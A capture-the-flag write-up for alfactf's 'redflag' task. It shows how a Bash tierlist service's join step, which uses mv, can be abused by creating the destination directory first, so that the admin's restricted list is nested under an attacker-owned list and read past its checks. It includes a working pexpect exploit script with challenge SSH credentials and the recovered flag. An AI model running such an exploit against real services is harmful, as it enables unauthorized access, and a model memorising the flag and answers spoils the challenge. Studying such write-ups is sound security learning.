miscfreemedium

Ред-флаг / redflag

alfactf

Task: an SSH Bash/whiptail tierlist service stored each list as a directory and enforced restrictions through root metadata. Solution: pre-create the join destination, abuse mv's existing-directory behavior to nest the admin list inside an attacker list, then read recursively exposed items checked against the wrong .meta file.

$ ls tags/ techniques/
destination_collision_abusemetadata_confusionnested_directory_disclosurerecursive_listing_abuse

Ред-флаг / redflag — alfactf

Description

Ред-флаг

English summary: the challenge provides SSH access to a Bash + whiptail tierlist manager. Tierlists live as directories under /data/tierlists, source is available at https://alfactf.ru/files/redflag.sh, and the goal is to recover a flag hidden in the admin's private list.

Analysis

The bug is a directory move / authorization mismatch.

Each tierlist is a directory with a root .meta file. Restricted items are listed there by filename, and read access is derived from that root metadata only:

is_restricted() { local restricted restricted=$(meta_get "$1" "restricted") || return 1 [[ -z "$restricted" ]] && return 1 local IFS=',' for r in $restricted; do [[ "$r" == "$2" ]] && return 0 done return 1 } can_read_file() { if is_restricted "$1" "$2"; then is_owner "$1" else return 0 fi }

When viewing a tierlist, the UI recursively walks all nested tier_* directories:

while IFS= read -r -d '' td; do tier_dirs+=("$td") done < <(find "$tl_dir" -type d -name 'tier_*' -print0 2>/dev/null | sort -z)

The important detail is that later checks still use the original top-level tl_dir rather than the real parent of the nested file:

if ! can_read_file "$tl_dir" "$item_fname"; then msg "[LOCKED] $item_name\n\nДоступ ограничен владельцем тир-листа." return fi

So if a foreign tierlist can be placed under our own root, every nested item is evaluated against our .meta, not the victim tierlist's .meta.

The join operation is what makes that possible:

join_tierlist_by_name() { local tl_name="$1" local new_name="${tl_name}__with__${CURRENT_USER}" mv "$TIERLISTS_DIR/$tl_name" "$TIERLISTS_DIR/$new_name" ... }

This assumes mv will always rename the directory. That is false: if $TIERLISTS_DIR/$new_name already exists and is a directory, mv places the source tierlist inside it.

So if we first create our own tierlist named:

gorpcore_redflags__with__rfbkqsl

and then join the public/admin tierlist gorpcore_redflags, the service executes:

mv /data/tierlists/gorpcore_redflags /data/tierlists/gorpcore_redflags__with__rfbkqsl

Result:

/data/tierlists/gorpcore_redflags__with__rfbkqsl/ # attacker-owned root └── gorpcore_redflags/ # moved victim tierlist └── tier_d/ └── ...

Now view_tierlist recursively discovers the nested tier_* directories from the moved victim list, but access checks still use the outer attacker-owned root .meta. That bypasses the victim's restrictions and exposes private previews and item contents.

Solution

  1. Log in with a fresh username. I used rfbkqsl.
  2. Create a tierlist named gorpcore_redflags__with__rfbkqsl so it collides with the destination name the service will later build.
  3. Open the public tierlists and join admin's gorpcore_redflags.
  4. The service runs mv /data/tierlists/gorpcore_redflags /data/tierlists/gorpcore_redflags__with__rfbkqsl.
  5. Because the destination already exists, the admin tierlist is moved inside the attacker-controlled directory.
  6. Reopen the attacker-owned list. Recursive find now discovers nested tiers from the moved admin list.
  7. Because reads are authorized against the outer .meta, restricted admin items are displayed anyway.
  8. In the D tier, the preview shows flag: alfa{mv_from_W3B_U1_70_wHipTaIl}.

Minimal exploit script:

#!/usr/bin/env python3 import random import string import time import pexpect CMD = ( "sshpass -p 'Q4gwbpZx1HywxSWfCLWqSQ' " "ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -tt " "[email protected]" ) user = "rf" + "".join(random.choice(string.ascii_lowercase) for _ in range(5)) collision = f"gorpcore_redflags__with__{user}" child = pexpect.spawn("/bin/sh", ["-c", CMD], encoding=None, timeout=30) child.setwinsize(40, 120) time.sleep(1) child.send(user.encode() + b"\r") # Main menu -> create tierlist time.sleep(1) child.send(b"\x1b[B\x1b[B\r") time.sleep(1) child.send(collision.encode() + b"\r") # Back to main menu -> public tierlists -> join selected admin tierlist time.sleep(1) child.send(b"\r") time.sleep(1) child.send(b"\r") time.sleep(1) child.send(b"\x1b[B\r") time.sleep(1) child.send(b"\r") # Browse the nested tiers; the D-tier preview reveals the flag. time.sleep(3) print(child.read().decode("utf-8", errors="ignore"))

Recovered flag:

alfa{mv_from_W3B_U1_70_wHipTaIl}

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups